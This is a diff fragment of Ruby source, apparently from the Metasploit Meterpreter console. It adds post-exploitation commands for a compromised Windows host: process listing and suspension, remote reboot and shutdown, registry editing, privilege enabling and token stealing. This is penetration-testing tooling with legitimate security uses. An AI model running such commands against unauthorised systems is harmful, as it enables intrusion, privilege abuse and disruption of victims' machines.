|
|
372
|
+
# - have had current session pid removed unless allow_session_pid (to protect the session)
|
|
373
|
+
# - have redundant entries removed
|
|
374
|
+
#
|
|
375
|
+
# @param pids [Array<String>] The pids to validate
|
|
376
|
+
# @param allow_pid_0 [Boolean] whether to consider a pid of 0 as valid
|
|
377
|
+
# @param allow_session_pid [Boolean] whether to consider a pid = the current session pid as valid
|
|
378
|
+
# @return [Array] Returns an array of valid pids
|
|
379
|
+
|
|
380
|
+
def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)
|
|
381
|
+
|
|
382
|
+
return [] if (pids.class != Array or pids.empty?)
|
|
383
|
+
valid_pids = []
|
|
384
|
+
# to minimize network traffic, we only get host processes once
|
|
385
|
+
host_processes = client.sys.process.get_processes
|
|
386
|
+
if host_processes.length < 1
|
|
387
|
+
print_error "No running processes found on the target host."
|
|
388
|
+
return []
|
|
389
|
+
end
|
|
390
|
+
|
|
391
|
+
# get the current session pid so we don't suspend it later
|
|
392
|
+
mypid = client.sys.process.getpid.to_i
|
|
393
|
+
|
|
394
|
+
# remove nils & redundant pids, conver to int
|
|
395
|
+
clean_pids = pids.compact.uniq.map{|x| x.to_i}
|
|
396
|
+
# now we look up the pids & remove bad stuff if nec
|
|
397
|
+
clean_pids.delete_if do |p|
|
|
398
|
+
( (p == 0 and not allow_pid_0) or (p == mypid and not allow_session_pid) )
|
|
399
|
+
end
|
|
400
|
+
clean_pids.each do |pid|
|
|
401
|
+
# find the process with this pid
|
|
402
|
+
theprocess = host_processes.find {|x| x["pid"] == pid}
|
|
403
|
+
if ( theprocess.nil? )
|
|
404
|
+
next
|
|
405
|
+
else
|
|
406
|
+
valid_pids << pid
|
|
407
|
+
end
|
|
408
|
+
end
|
|
409
|
+
return valid_pids
|
|
410
|
+
end
|
|
411
|
+
|
|
412
|
+
#
|
|
413
|
+
# Lists running processes.
|
|
414
|
+
#
|
|
415
|
+
def cmd_ps(*args)
|
|
416
|
+
processes = client.sys.process.get_processes
|
|
417
|
+
@@ps_opts.parse(args) do |opt, idx, val|
|
|
418
|
+
case opt
|
|
419
|
+
when "-h"
|
|
420
|
+
cmd_ps_help
|
|
421
|
+
return true
|
|
422
|
+
when "-S"
|
|
423
|
+
print_line "Filtering on process name..."
|
|
424
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
|
425
|
+
processes.each do |proc|
|
|
426
|
+
if val.nil? or val.empty?
|
|
427
|
+
print_line "You must supply a search term!"
|
|
428
|
+
return false
|
|
429
|
+
end
|
|
430
|
+
searched_procs << proc if proc["name"].match(/#{val}/)
|
|
431
|
+
end
|
|
432
|
+
processes = searched_procs
|
|
433
|
+
when "-A"
|
|
434
|
+
print_line "Filtering on arch..."
|
|
435
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
|
436
|
+
processes.each do |proc|
|
|
437
|
+
next if proc['arch'].nil? or proc['arch'].empty?
|
|
438
|
+
if val.nil? or val.empty? or !(val == "x86" or val == "x86_64")
|
|
439
|
+
print_line "You must select either x86 or x86_64"
|
|
440
|
+
return false
|
|
441
|
+
end
|
|
442
|
+
searched_procs << proc if proc["arch"] == val
|
|
443
|
+
end
|
|
444
|
+
processes = searched_procs
|
|
445
|
+
when "-s"
|
|
446
|
+
print_line "Filtering on SYSTEM processes..."
|
|
447
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
|
448
|
+
processes.each do |proc|
|
|
449
|
+
searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
|
|
450
|
+
end
|
|
451
|
+
processes = searched_procs
|
|
452
|
+
when "-U"
|
|
453
|
+
print_line "Filtering on user name..."
|
|
454
|
+
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
|
455
|
+
processes.each do |proc|
|
|
456
|
+
if val.nil? or val.empty?
|
|
457
|
+
print_line "You must supply a search term!"
|
|
458
|
+
return false
|
|
459
|
+
end
|
|
460
|
+
searched_procs << proc if proc["user"].match(/#{val}/)
|
|
461
|
+
end
|
|
462
|
+
processes = searched_procs
|
|
463
|
+
end
|
|
464
|
+
end
|
|
465
|
+
if (processes.length == 0)
|
|
466
|
+
print_line("No running processes were found.")
|
|
467
|
+
else
|
|
468
|
+
print_line
|
|
469
|
+
print_line(processes.to_table("Indent" => 1).to_s)
|
|
470
|
+
print_line
|
|
471
|
+
end
|
|
472
|
+
return true
|
|
473
|
+
end
|
|
474
|
+
|
|
475
|
+
def cmd_ps_help
|
|
476
|
+
print_line "Use the command with no arguments to see all running processes."
|
|
477
|
+
print_line "The following options can be used to filter those results:"
|
|
478
|
+
|
|
479
|
+
print_line @@ps_opts.usage
|
|
480
|
+
end
|
|
481
|
+
|
|
482
|
+
|
|
483
|
+
|
|
484
|
+
#
|
|
485
|
+
# Reboots the remote computer.
|
|
486
|
+
#
|
|
487
|
+
def cmd_reboot(*args)
|
|
488
|
+
force = 0
|
|
489
|
+
|
|
490
|
+
if args.length == 1 and args[0].strip == "-h"
|
|
491
|
+
print(
|
|
492
|
+
"Usage: reboot [options]\n\n" +
|
|
493
|
+
"Reboot the remote machine.\n" +
|
|
494
|
+
@@reboot_opts.usage)
|
|
495
|
+
return true
|
|
496
|
+
end
|
|
497
|
+
|
|
498
|
+
@@reboot_opts.parse(args) { |opt, idx, val|
|
|
499
|
+
case opt
|
|
500
|
+
when "-f"
|
|
501
|
+
force = val.to_i
|
|
502
|
+
end
|
|
503
|
+
}
|
|
504
|
+
print_line("Rebooting...")
|
|
505
|
+
|
|
506
|
+
client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)
|
|
507
|
+
end
|
|
508
|
+
|
|
509
|
+
#
|
|
510
|
+
# Modifies and otherwise interacts with the registry on the remote computer
|
|
511
|
+
# by allowing the client to enumerate, open, modify, and delete registry
|
|
512
|
+
# keys and values.
|
|
513
|
+
#
|
|
514
|
+
def cmd_reg(*args)
|
|
515
|
+
# Extract the command, if any
|
|
516
|
+
cmd = args.shift
|
|
517
|
+
|
|
518
|
+
if (args.length == 0)
|
|
519
|
+
args.unshift("-h")
|
|
520
|
+
end
|
|
521
|
+
|
|
522
|
+
# Initiailze vars
|
|
523
|
+
key = nil
|
|
524
|
+
value = nil
|
|
525
|
+
data = nil
|
|
526
|
+
type = nil
|
|
527
|
+
wowflag = 0x0000
|
|
528
|
+
rem = nil
|
|
529
|
+
|
|
530
|
+
@@reg_opts.parse(args) { |opt, idx, val|
|
|
531
|
+
case opt
|
|
532
|
+
when "-h"
|
|
533
|
+
print_line(
|
|
534
|
+
"Usage: reg [command] [options]\n\n" +
|
|
535
|
+
"Interact with the target machine's registry.\n" +
|
|
536
|
+
@@reg_opts.usage +
|
|
537
|
+
"COMMANDS:\n\n" +
|
|
538
|
+
" enumkey Enumerate the supplied registry key [-k <key>]\n" +
|
|
539
|
+
" createkey Create the supplied registry key [-k <key>]\n" +
|
|
540
|
+
" deletekey Delete the supplied registry key [-k <key>]\n" +
|
|
541
|
+
" queryclass Queries the class of the supplied key [-k <key>]\n" +
|
|
542
|
+
" setval Set a registry value [-k <key> -v <val> -d <data>]\n" +
|
|
543
|
+
" deleteval Delete the supplied registry value [-k <key> -v <val>]\n" +
|
|
544
|
+
" queryval Queries the data contents of a value [-k <key> -v <val>]\n\n")
|
|
545
|
+
return false
|
|
546
|
+
when "-k"
|
|
547
|
+
key = val
|
|
548
|
+
when "-v"
|
|
549
|
+
value = val
|
|
550
|
+
when "-t"
|
|
551
|
+
type = val
|
|
552
|
+
when "-d"
|
|
553
|
+
data = val
|
|
554
|
+
when "-r"
|
|
555
|
+
rem = val
|
|
556
|
+
when "-w"
|
|
557
|
+
if val == '64'
|
|
558
|
+
wowflag = KEY_WOW64_64KEY
|
|
559
|
+
elsif val == '32'
|
|
560
|
+
wowflag = KEY_WOW64_32KEY
|
|
561
|
+
end
|
|
562
|
+
end
|
|
563
|
+
}
|
|
564
|
+
|
|
565
|
+
# All commands require a key.
|
|
566
|
+
if (key == nil)
|
|
567
|
+
print_error("You must specify a key path (-k)")
|
|
568
|
+
return false
|
|
569
|
+
end
|
|
570
|
+
|
|
571
|
+
# Split the key into its parts
|
|
572
|
+
root_key, base_key = client.sys.registry.splitkey(key)
|
|
573
|
+
|
|
574
|
+
begin
|
|
575
|
+
# Rock it
|
|
576
|
+
case cmd
|
|
577
|
+
when "enumkey"
|
|
578
|
+
|
|
579
|
+
open_key = nil
|
|
580
|
+
if not rem
|
|
581
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
|
|
582
|
+
else
|
|
583
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
|
584
|
+
if remote_key
|
|
585
|
+
open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
|
|
586
|
+
end
|
|
587
|
+
end
|
|
588
|
+
|
|
589
|
+
print_line(
|
|
590
|
+
"Enumerating: #{key}\n")
|
|
591
|
+
|
|
592
|
+
keys = open_key.enum_key
|
|
593
|
+
vals = open_key.enum_value
|
|
594
|
+
|
|
595
|
+
if (keys.length > 0)
|
|
596
|
+
print_line(" Keys (#{keys.length}):\n")
|
|
597
|
+
|
|
598
|
+
keys.each { |subkey|
|
|
599
|
+
print_line("\t#{subkey}")
|
|
600
|
+
}
|
|
601
|
+
|
|
602
|
+
print_line
|
|
603
|
+
end
|
|
604
|
+
|
|
605
|
+
if (vals.length > 0)
|
|
606
|
+
print_line(" Values (#{vals.length}):\n")
|
|
607
|
+
|
|
608
|
+
vals.each { |val|
|
|
609
|
+
print_line("\t#{val.name}")
|
|
610
|
+
}
|
|
611
|
+
|
|
612
|
+
print_line
|
|
613
|
+
end
|
|
614
|
+
|
|
615
|
+
if (vals.length == 0 and keys.length == 0)
|
|
616
|
+
print_line("No children.")
|
|
617
|
+
end
|
|
618
|
+
|
|
619
|
+
when "createkey"
|
|
620
|
+
open_key = nil
|
|
621
|
+
if not rem
|
|
622
|
+
open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE + wowflag)
|
|
623
|
+
else
|
|
624
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
|
625
|
+
if remote_key
|
|
626
|
+
open_key = remote_key.create_key(base_key, KEY_WRITE + wowflag)
|
|
627
|
+
end
|
|
628
|
+
end
|
|
629
|
+
|
|
630
|
+
print_line("Successfully created key: #{key}")
|
|
631
|
+
|
|
632
|
+
when "deletekey"
|
|
633
|
+
open_key = nil
|
|
634
|
+
if not rem
|
|
635
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
|
|
636
|
+
else
|
|
637
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
|
638
|
+
if remote_key
|
|
639
|
+
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
|
|
640
|
+
end
|
|
641
|
+
end
|
|
642
|
+
open_key.delete_key(base_key)
|
|
643
|
+
|
|
644
|
+
print_line("Successfully deleted key: #{key}")
|
|
645
|
+
|
|
646
|
+
when "setval"
|
|
647
|
+
if (value == nil or data == nil)
|
|
648
|
+
print_error("You must specify both a value name and data (-v, -d).")
|
|
649
|
+
return false
|
|
650
|
+
end
|
|
651
|
+
|
|
652
|
+
type = "REG_SZ" if (type == nil)
|
|
653
|
+
|
|
654
|
+
open_key = nil
|
|
655
|
+
if not rem
|
|
656
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
|
|
657
|
+
else
|
|
658
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
|
659
|
+
if remote_key
|
|
660
|
+
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
|
|
661
|
+
end
|
|
662
|
+
end
|
|
663
|
+
|
|
664
|
+
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
|
665
|
+
|
|
666
|
+
print_line("Successful set #{value}.")
|
|
667
|
+
|
|
668
|
+
when "deleteval"
|
|
669
|
+
if (value == nil)
|
|
670
|
+
print_error("You must specify a value name (-v).")
|
|
671
|
+
return false
|
|
672
|
+
end
|
|
673
|
+
|
|
674
|
+
open_key = nil
|
|
675
|
+
if not rem
|
|
676
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE + wowflag)
|
|
677
|
+
else
|
|
678
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
|
679
|
+
if remote_key
|
|
680
|
+
open_key = remote_key.open_key(base_key, KEY_WRITE + wowflag)
|
|
681
|
+
end
|
|
682
|
+
end
|
|
683
|
+
|
|
684
|
+
open_key.delete_value(value)
|
|
685
|
+
|
|
686
|
+
print_line("Successfully deleted #{value}.")
|
|
687
|
+
|
|
688
|
+
when "queryval"
|
|
689
|
+
if (value == nil)
|
|
690
|
+
print_error("You must specify a value name (-v).")
|
|
691
|
+
return false
|
|
692
|
+
end
|
|
693
|
+
|
|
694
|
+
open_key = nil
|
|
695
|
+
if not rem
|
|
696
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
|
|
697
|
+
else
|
|
698
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
|
699
|
+
if remote_key
|
|
700
|
+
open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
|
|
701
|
+
end
|
|
702
|
+
end
|
|
703
|
+
|
|
704
|
+
v = open_key.query_value(value)
|
|
705
|
+
|
|
706
|
+
print(
|
|
707
|
+
"Key: #{key}\n" +
|
|
708
|
+
"Name: #{v.name}\n" +
|
|
709
|
+
"Type: #{v.type_to_s}\n" +
|
|
710
|
+
"Data: #{v.data}\n")
|
|
711
|
+
|
|
712
|
+
when "queryclass"
|
|
713
|
+
open_key = nil
|
|
714
|
+
if not rem
|
|
715
|
+
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ + wowflag)
|
|
716
|
+
else
|
|
717
|
+
remote_key = client.sys.registry.open_remote_key(rem, root_key)
|
|
718
|
+
if remote_key
|
|
719
|
+
open_key = remote_key.open_key(base_key, KEY_READ + wowflag)
|
|
720
|
+
end
|
|
721
|
+
end
|
|
722
|
+
|
|
723
|
+
data = open_key.query_class
|
|
724
|
+
|
|
725
|
+
print("Data: #{data}\n")
|
|
726
|
+
else
|
|
727
|
+
print_error("Invalid command supplied: #{cmd}")
|
|
728
|
+
end
|
|
729
|
+
ensure
|
|
730
|
+
open_key.close if (open_key)
|
|
731
|
+
end
|
|
732
|
+
end
|
|
733
|
+
|
|
734
|
+
#
|
|
735
|
+
# Calls RevertToSelf() on the remote machine.
|
|
736
|
+
#
|
|
737
|
+
def cmd_rev2self(*args)
|
|
738
|
+
client.sys.config.revert_to_self
|
|
739
|
+
end
|
|
740
|
+
|
|
741
|
+
def cmd_getprivs_help
|
|
742
|
+
print_line "Usage: getprivs"
|
|
743
|
+
print_line
|
|
744
|
+
print_line "Attempt to enable all privileges, such as SeDebugPrivilege, available to the"
|
|
745
|
+
print_line "current process. Note that this only enables existing privs and does not change"
|
|
746
|
+
print_line "users or tokens."
|
|
747
|
+
print_line
|
|
748
|
+
print_line "See also: steal_token, getsystem"
|
|
749
|
+
print_line
|
|
750
|
+
end
|
|
751
|
+
|
|
752
|
+
#
|
|
753
|
+
# Obtains as many privileges as possible on the target machine.
|
|
754
|
+
#
|
|
755
|
+
def cmd_getprivs(*args)
|
|
756
|
+
if args.include? "-h"
|
|
757
|
+
cmd_getprivs_help
|
|
758
|
+
end
|
|
759
|
+
print_line("=" * 60)
|
|
760
|
+
print_line("Enabled Process Privileges")
|
|
761
|
+
print_line("=" * 60)
|
|
762
|
+
client.sys.config.getprivs.each do |priv|
|
|
763
|
+
print_line(" #{priv}")
|
|
764
|
+
end
|
|
765
|
+
print_line("")
|
|
766
|
+
end
|
|
767
|
+
|
|
768
|
+
#
|
|
769
|
+
# Tries to steal the primary token from the target process.
|
|
770
|
+
#
|
|
771
|
+
def cmd_steal_token(*args)
|
|
772
|
+
if(args.length != 1 or args[0] == "-h")
|
|
773
|
+
print_error("Usage: steal_token [pid]")
|
|
774
|
+
return
|
|
775
|
+
end
|
|
776
|
+
print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
|
|
777
|
+
end
|
|
778
|
+
|
|
779
|
+
#
|
|
780
|
+
# Drops any assumed token.
|
|
781
|
+
#
|
|
782
|
+
def cmd_drop_token(*args)
|
|
783
|
+
print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
|
|
784
|
+
end
|
|
785
|
+
|
|
786
|
+
#
|
|
787
|
+
# Displays information about the remote system.
|
|
788
|
+
#
|
|
789
|
+
def cmd_sysinfo(*args)
|
|
790
|
+
info = client.sys.config.sysinfo
|
|
791
|
+
width = "Meterpreter".length
|
|
792
|
+
info.keys.each { |k| width = k.length if k.length > width and info[k] }
|
|
793
|
+
|
|
794
|
+
info.each_pair do |key, value|
|
|
795
|
+
print_line("#{key.ljust(width+1)}: #{value}") if value
|
|
796
|
+
end
|
|
797
|
+
print_line("#{"Meterpreter".ljust(width+1)}: #{client.platform}")
|
|
798
|
+
|
|
799
|
+
return true
|
|
800
|
+
end
|
|
801
|
+
|
|
802
|
+
#
|
|
803
|
+
# Shuts down the remote computer.
|
|
804
|
+
#
|
|
805
|
+
def cmd_shutdown(*args)
|
|
806
|
+
force = 0
|
|
807
|
+
|
|
808
|
+
if args.length == 1 and args[0].strip == "-h"
|
|
809
|
+
print(
|
|
810
|
+
"Usage: shutdown [options]\n\n" +
|
|
811
|
+
"Shutdown the remote machine.\n" +
|
|
812
|
+
@@shutdown_opts.usage)
|
|
813
|
+
return true
|
|
814
|
+
end
|
|
815
|
+
|
|
816
|
+
@@shutdown_opts.parse(args) { |opt, idx, val|
|
|
817
|
+
case opt
|
|
818
|
+
when "-f"
|
|
819
|
+
force = val.to_i
|
|
820
|
+
end
|
|
821
|
+
}
|
|
822
|
+
|
|
823
|
+
print_line("Shutting down...")
|
|
824
|
+
|
|
825
|
+
client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT)
|
|
826
|
+
end
|
|
827
|
+
|
|
828
|
+
#
|
|
829
|
+
# Suspends or resumes a list of one or more pids
|
|
830
|
+
#
|
|
831
|
+
# +args+ can optionally be -c to continue on error or -r to resume
|
|
832
|
+
# instead of suspend, followed by a list of one or more valid pids
|
|
833
|
+
#
|
|
834
|
+
# @todo Accept process names, much of that code is done (kernelsmith)
|
|
835
|
+
#
|
|
836
|
+
# @param args [Array<String>] List of one of more pids
|
|
837
|
+
# @return [Boolean] Returns true if command was successful, else false
|
|
838
|
+
def cmd_suspend(*args)
|
|
839
|
+
# give'em help if they want it, or seem confused
|
|
840
|
+
if args.length == 0 or (args.include? "-h")
|
|
841
|
+
cmd_suspend_help
|
|
842
|
+
return true
|
|
843
|
+
end
|
|
844
|
+
|
|
845
|
+
continue = args.delete("-c") || false
|
|
846
|
+
resume = args.delete("-r") || false
|
|
847
|
+
|
|
848
|
+
# validate all the proposed pids first so we can bail if one is bogus
|
|
849
|
+
valid_pids = validate_pids(args)
|
|
850
|
+
args.uniq!
|
|
851
|
+
diff = args - valid_pids.map {|e| e.to_s}
|
|
852
|
+
if not diff.empty? # then we had an invalid pid
|
|
853
|
+
print_error("The following pids are not valid: #{diff.join(", ").to_s}.")
|
|
854
|
+
if continue
|
|
855
|
+
print_status("Continuing. Invalid args have been removed from the list.")
|
|
856
|
+
else
|
|
857
|
+
print_error("Quitting. Use -c to continue using only the valid pids.")
|
|
858
|
+
return false
|
|
859
|
+
end
|
|
860
|
+
end
|
|
861
|
+
|
|
862
|
+
targetprocess = nil
|
|
863
|
+
if resume
|
|
864
|
+
print_status("Resuming: #{valid_pids.join(", ").to_s}")
|
|
865
|
+
else
|
|
866
|
+
print_status("Suspending: #{valid_pids.join(", ").to_s}")
|
|
867
|
+
end
|
|
868
|
+
begin
|
|
869
|
+
valid_pids.each do |pid|
|
|
870
|
+
print_status("Targeting process with PID #{pid}...")
|
|
871
|
+
targetprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
|
872
|
+
targetprocess.thread.each_thread do |x|
|
|
873
|
+
if resume
|
|
874
|
+
targetprocess.thread.open(x).resume
|
|
875
|
+
else
|
|
876
|
+
targetprocess.thread.open(x).suspend
|
|
877
|
+
end
|
|
878
|
+
end
|
|
879
|
+
end
|
|
880
|
+
rescue ::Rex::Post::Meterpreter::RequestError => e
|
|
881
|
+
print_error "Error acting on the process: #{e.to_s}."
|
|
882
|
+
print_error "Try migrating to a process with the same owner as the target process."
|
|
883
|
+
print_error "Also consider running the win_privs post module and confirm SeDebug priv."
|
|
884
|
+
return false unless continue
|
|
885
|
+
ensure
|
|
886
|
+
targetprocess.close if targetprocess
|
|
887
|
+
end
|
|
888
|
+
return true
|
|
889
|
+
end
|
|
890
|
+
|
|
891
|
+
#
|
|
892
|
+
# help for the suspend command
|
|
893
|
+
#
|
|
894
|
+
def cmd_suspend_help
|
|
895
|
+
print_line("Usage: suspend [options] pid1 pid2 pid3 ...")
|
|
896
|
+
print_line("Suspend one or more processes.")
|
|
897
|
+
print @@suspend_opts.usage
|
|
898
|
+
end
|
|
597
899
|
|
|
598
900
|
end
|
|
599
901
|
|